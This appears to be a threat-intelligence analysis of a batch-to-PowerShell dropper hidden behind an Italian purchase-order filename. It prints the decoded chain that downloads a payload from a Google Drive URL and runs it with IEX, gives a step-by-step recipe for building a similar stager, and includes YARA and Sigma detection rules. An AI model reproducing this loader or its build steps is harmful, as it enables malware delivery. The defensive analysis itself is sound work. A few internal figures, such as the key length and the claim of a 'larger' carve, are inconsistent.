afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991unclassified-danish-batch-ps-dropper: afc82dc9 — Three-layer spittlessh→Gries156→pudg decoder, Italian purchase-order lure
Executive Summary: Third confirmed sibling in the Danish-variable batch→PowerShell dropper family. Evolves the two-layer stolthe168→Monokrome design of sibling 93aec3da into a three-layer pipeline: spittlessh (character-skip cipher, offset 58, stride 4) → Gries156 (Base64 + XOR with 7-byte key Garversv) → pudg (per-element XOR loop over a byte array). Same Google Drive C2 endpoint as sibling 93aec3da but new hardcoded payload carve offsets (125853 / 14870 bytes). Italian social-engineering lure masquerades as an urgent purchase-order PDF. Static-only; CAPE skipped because the sample is a single-line batch script.
What It Is
| Field | Value |
|---|---|
| SHA-256 | afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991 |
| Filename | Urgente Richiesta d'offerta B473_IREM_PDF.bat |
| Size | 4,226 bytes |
| File type | ASCII text, single line, no line terminators ^[file.txt] |
| Family | unclassified-danish-batch-ps-dropper — third confirmed sibling |
| Build | DOS batch wrapper → inline PowerShell; no compiler, no packer |
The outer layer is a .bat file that invokes powershell.exe -NoProfile -windowstyle 1 with a 4,091-character inline script. ^[strings.txt:1] The -windowstyle 1 argument is an alias for -windowstyle Normal, but in this context it simply prevents the hidden-window flag from appearing in command-line telemetry.
How It Works
1. Character-skip cipher (spittlessh)
The script defines spittlessh($rumblings), a stride-4 decoder with offset 58 (unprecedented in this family — previous siblings used offset 3). Real characters sit at indices 58, 62, 66, ... inside noise-padded string literals. ^[strings.txt:1] The arithmetic is $monorhinou = $uranoulldoze + $tronhiml where $uranoulldoze = 3 and $tronhiml = 55, giving the starting offset 58.
Twelve spittlessh calls decode to short command fragments:
| # | Decoded fragment | Purpose |
|---|---|---|
| 0 | [int]$restrin -bx |
Noise / dead code |
| 1 | o%cH ;T Sh-Ua ^ |
Noise / dead code |
| 2 | %KFTBz >, L.Q U Jv r>& |
Noise / dead code |
| 3 | nvert] |
Partial [Convert] |
| 4 | FromBase64String($rumblings) |
Base64 decode call |
| 5 | $script:diasc=[ |
Script-scoped variable init |
| 6 | %V I |
Partial %V I (noise) |
| 7 | Encoding] |
Partial [Text.Encoding] |
| 8 | ASCII |
ASCII encoding specifier |
| 9 | GetString($cageworkd%I |
Partial GetString call |
| 10 | :: |
Colon operator (used as $mario) |
| 11 | . |
Dot operator (used as $byudvi) |
| 12–14 | I, E, X |
Assembled into IEX |
The short decoded strings (e.g., I, E, X from 59-char literals) are concatenated across three spittlessh calls to form $nona = 'IEX'. ^[strings.txt:1] Similarly $mario = '::' (colon operator) and $byudvi = '.' (dot operator).
2. Base64+XOR fragment decryption (Gries156)
Gries156($rumblings, $reratedlac=0) takes a Base64 string, decodes it, XORs every byte with the key $koncentra = @(71,97,114,118,101,114,115,118) (ASCII Garversv), and optionally IEXs the result if $reratedlac is truthy.
Nineteen Gries156 calls are embedded in the script body. Eight carry the 1 parameter (decrypt + execute); eleven decrypt only (store in variables). Decrypted fragments include:
| # | Decrypted value | Executed? |
|---|---|---|
| 0 | 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 |
No — stored in $sittina (User-Agent) |
| 1 | https://drive.google.com/uc?export=download&id=11h6D737JvfdjcP1KAari2XPs6C8M0LFM |
No — stored in $oprun (URL) |
| 2 | > |
No — dead code (split delimiter) |
| 3 | $global:addressi=$env:appdata+$revisorf |
Yes |
| 4 | $global:amphim=$oprun.split($fieldpiec) |
Yes |
| 5 | [Net.ServicePointManager]::SecurityProtocol=3072 |
Yes |
| 6 | $global:blya=New-Object Net.WebClient |
Yes |
| 7 | $blya.Headers[[Net.HttpRequestHeader]40]=$sittina |
Yes |
| 8 | DownloadFile |
No — stored in $restrinffyrin (method name) |
| 9 | $blya.$restrinffyrin.Invoke($oprun,$demarkered) |
No — stored in $ciscomissp (download invocation) |
| 10 | $global:carbona=(Test-Path $demarkered) |
Yes |
| 11 | $global:Predecease=$true |
Yes |
| 12 | Sleep(4) |
Yes |
| 13 | $global:carbona=(Test-Path $demarkered) |
Yes |
| 14 | $global:fldeskum=$global:sminkeau++%$amphim.count |
Yes |
| 15 | $global:straightwa=gc $demarkered |
Yes |
| 16 | $global:Under=[Convert]::FromBase64String($straightwa) |
Yes |
| 17 | $global:sten=[Text.Encoding]::ASCII.GetString($Under) |
Yes |
| 18 | $global:regg=$sten.substring($restrinrbejdsm,$flage) |
Yes |
^[strings.txt:1] (full chain decoded via Python reimplementation of spittlessh and Gries156)
3. Per-element XOR loop (pudg)
The Gries156 function body includes a For loop:
For($monorhinou=0; $cageworkde[$monorhinou] -ne $praktik46; $monorhinou++){
$cageworkde[$monorhinou] = pudg $cageworkde[$monorhinou] $koncentra[$monorhinou%%8]
}
pudg($restrin, $urano) is a bitwise XOR: $restrin -bxor $urano (decoded from spittlessh call 0: [int]$restrin -bxor $urano). ^[strings.txt:1] This loop iterates over a byte array $cageworkde, XORing each element with the corresponding byte from $koncentra (the 7-byte key Garversv), wrapping with modulo 8. This is a third decryption layer applied to the payload after Base64 decoding and ASCII conversion.
4. Downloader behavior
After the fragments execute, the runtime state is:
$oprun= Google Drive direct-download URL$sittina= fabricated Firefox 150.0 UA$demarkered=%appdata%\Bima.pos(staging path, from$addressi = $env:appdata + $revisorfwhere$revisorf = '\Bima.pos')$restrinrbejdsm= 125853,$flage= 14870 (hardcoded carve offsets)
The script then:
- Sets TLS 1.2 (
SecurityProtocol=3072) - Spins up a
Net.WebClientwith the fake UA - Calls
.DownloadFile($oprun, $demarkered) - Waits 4 seconds and checks file existence
- Reads the downloaded file, Base64-decodes it, converts to ASCII
- Extracts substring(125853, 14870) — the inner payload
- Applies per-element XOR with
Garversv IEXs the final payload viaFilpointer $regg
5. Obfuscation quality
- Noise-padded literals: The
spittlessharguments are 59–167 character strings of Danish/Scandinavian word salad (Knickknacks Trningsdragts Starry Rekylgevrerne,Lateroversion Lateroabdominal Allokerende Bludge Dokume). ^[strings.txt:1] - Variable names: Danish/Nordic (
uranoulldoze,tronhiml,pudg,spittlessh,sygelej20,restrinrbejdsm). Same linguistic fingerprint as siblings402879ffand93aec3da. - Dead code:
mp 'tolvaarigt' 'judo' 'partietso82'at script start (function never defined); unused noise fragments insidespittlesshoutputs. - No VM/debug checks: Relies on being a text file that sandboxes may skip. ^[dynamic-analysis.md]
- Three-layer encryption: Character-skip (obfuscation layer 1) → Base64+XOR
Garversv(crypto layer 2) → per-element XOR loop (crypto layer 3). This is a significant upgrade over the two-layerstolthe168→Monokromedesign of sibling93aec3da.
C2 Infrastructure
| Indicator | Value |
|---|---|
| Stage-2 URL | https://drive.google.com/uc?export=download&id=11h6D737JvfdjcP1KAari2XPs6C8M0LFM ^[strings.txt:1] |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 ^[strings.txt:1] |
| Staging file | %appdata%\Bima.pos |
| Payload carve | offset 125853, length 14870 bytes |
| XOR key | Garversv (0x47,0x61,0x72,0x76,0x65,0x72,0x73,0x76 — 8 bytes, last byte repeats) |
| Reflective execution | IEX via $nona (I + E + X assembled from three spittlessh calls) |
Google Drive is reused from sibling 93aec3da, suggesting the same operator or builder template. The uc?export=download endpoint bypasses the preview page and returns the raw file directly.
Interesting Tidbits
- Offset 58 character-skip: This is the largest offset observed in the family. Previous siblings used offset 3 (
Beting) or offset 3 (stolthe168). The 58-character prefix means the noise-to-signal ratio is enormous — only a handful of real characters are extracted from each literal. ^[strings.txt:1] - Firefox 150.0: The User-Agent claims Firefox 150.0, a version that does not exist. This fabricated string is identical to sibling
93aec3daand a direct increment from sibling402879ff(143.0). ^[strings.txt:1] - XOR key "Garversv": A 7–8 byte Danish-looking nonsense string. Longer than sibling
93aec3da's 4-byteBana, providing slightly more entropy but still static and recoverable. - Italian social-engineering lure: Filename
Urgente Richiesta d'offerta B473_IREM_PDF.batmasquerades as an urgent Italian purchase-order PDF, exploiting the "Hide extensions" default. TheIREMreference suggests targeting of industrial/manufacturing procurement departments. ^[metadata.json] - Larger payload carve than siblings:
402879ffcarved at offset 428386 / length 22190.93aec3dacarved at offset 138643 / length 15571. This sample uses offset 125853 / length 14870 — a smaller payload, but the three-layer decryption may compress the effective size. - No service termination: Same as sibling
93aec3da; sibling402879ffstopped a prior service (spsv ichoglanop) before staging. This omission in later siblings suggests the builder dropped that feature. $nonaassembly: TheIEXexecutor is assembled character-by-character from three separate 59-charspittlesshliterals, each yielding exactly one real character. This is a deliberate anti-static measure — no single string containsIEX. ^[strings.txt:1]
How To Mess With It (Homelab Replication)
Goal: Build a comparable batch→PowerShell stager with a three-layer decoder pipeline.
- Write a PowerShell payload downloader.
- Encode each sensitive command fragment with Base64(XOR(plaintext, key=b'Garversv')).
- Further obfuscate by wrapping each Base64+XOR fragment inside a noise-padded literal where real chars sit at offset 58, stride 4.
- Implement a
pudgloop that XOR-decrypts a byte array element-by-element. - Wrap in a batch file:
powershell.exe -NoProfile -windowstyle 1 "<script>". - Execute and verify network traffic shows the fake UA and Google Drive fetch.
Verification: Confirm the three-layer decoder reconstructs the original plaintext commands before the download fires.
Deployable Signatures
YARA rule
rule DanishBatchPSDropper_Gries156 {
meta:
description = "Danish-variable batch→PowerShell dropper with spittlessh/Gries156/pudg three-layer decoder"
author = "PacketPursuit"
date = "2026-08-13"
hash = "afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991"
strings:
$spittlessh = "function spittlessh" ascii wide
$gries156 = "Function Gries156" ascii wide
$pudg = "function pudg" ascii wide
$filpointer = "function Filpointer" ascii wide
$garversv = { 24 6b 6f 6e 63 65 6e 74 72 61 3d 40 28 37 31 2c 39 37 2c 31 31 34 2c 31 31 38 2c 31 30 31 2c 31 31 34 2c 31 31 35 2c 31 31 38 29 } // $koncentra=@(71,97,114,118,101,114,115,118)
$mp_noise = "mp 'tolvaarigt' 'judo' 'partietso82'" ascii wide
$ua_ff150 = "Firefox/150.0" ascii wide
condition:
filesize < 10KB and
3 of ($spittlessh, $gries156, $pudg, $filpointer) and
any of ($garversv, $mp_noise, $ua_ff150)
}
Behavioral hunt query (Sigma-like)
title: Danish Batch PowerShell Dropper Execution (Gries156 variant)
detection:
selection:
CommandLine|contains:
- 'powershell.exe -NoProfile -windowstyle 1'
- 'function spittlessh'
- 'Function Gries156'
- 'function pudg'
- '$koncentra=@(71,97,114,118,101,114,115,118)'
condition: selection
IOC list
| Type | Value |
|---|---|
| SHA-256 | afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991 |
| Filename | Urgente Richiesta d'offerta B473_IREM_PDF.bat |
| Google Drive ID | 11h6D737JvfdjcP1KAari2XPs6C8M0LFM |
| Staging file | %appdata%\Bima.pos |
| XOR key | Garversv (0x47,0x61,0x72,0x76,0x65,0x72,0x73,0x76) |
| Fake UA | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 |
| Payload offsets | offset 125853, length 14870 bytes |
Behavioral fingerprint
A batch script launches powershell.exe -NoProfile -windowstyle 1 with an inline script defining three nested functions: spittlessh (character-skip cipher at stride 4, offset 58), Gries156 (Base64+XOR decoder with key Garversv), and pudg (per-element XOR loop). The script assembles IEX character-by-character from fragmented spittlessh outputs, sets a fabricated Firefox 150.0 User-Agent, forces TLS 1.2, downloads a file from a Google Drive direct-download URL to %APPDATA%\Bima.pos, Base64-decodes it, extracts a ~14.8 KB substring at offset 125853, applies a per-byte XOR with Garversv, and reflectively executes the result.
Detection Signatures
| capa / ATT&CK | Mapping | Evidence |
|---|---|---|
| T1059.003 | Windows Command Shell | Batch file outer layer ^[file.txt] |
| T1059.001 | PowerShell | Inline PowerShell with IEX ^[strings.txt:1] |
| T1105 | Ingress Tool Transfer | Net.WebClient.DownloadFile to Google Drive ^[strings.txt:1] |
| T1620 | Reflective Code Loading | IEX execution of carved substring ^[strings.txt:1] |
| T1027 | Obfuscated Files or Information | spittlessh stride-4 cipher + Gries156 Base64+XOR + pudg per-element XOR ^[strings.txt:1] |
References
- unclassified-danish-batch-ps-dropper — Family entity page (siblings
402879ff,93aec3da) ^[entities/unclassified-danish-batch-ps-dropper.md] - character-skip-cipher-powershell-obfuscation — Technique page for the stride-4 decoder ^[techniques/character-skip-cipher-powershell-obfuscation.md]
- Sibling analysis:
/intel/analyses/402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177.html - Sibling analysis:
/intel/analyses/93aec3da641e8a2d7191e5ec96e1678984c2441f129d6e91ad5741c896e1dfb0.html
Provenance
Analysis derived from static artefacts in raw/analyses/afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991/. File typed as ASCII text with very long lines (4226 chars, no line terminators) ^[file.txt]. Strings extracted via strings ^[strings.txt]. FLOSS and capa both failed because the input is not a supported executable format ^[floss.txt] ^[capa.txt]. CAPE skipped detonation for the same reason ^[dynamic-analysis.md]. Decryption performed manually via Python scripts replicating the spittlessh stride-4 decoder (offset 58), the Gries156 Base64→XOR pipeline (key Garversv), and the pudg per-element XOR loop.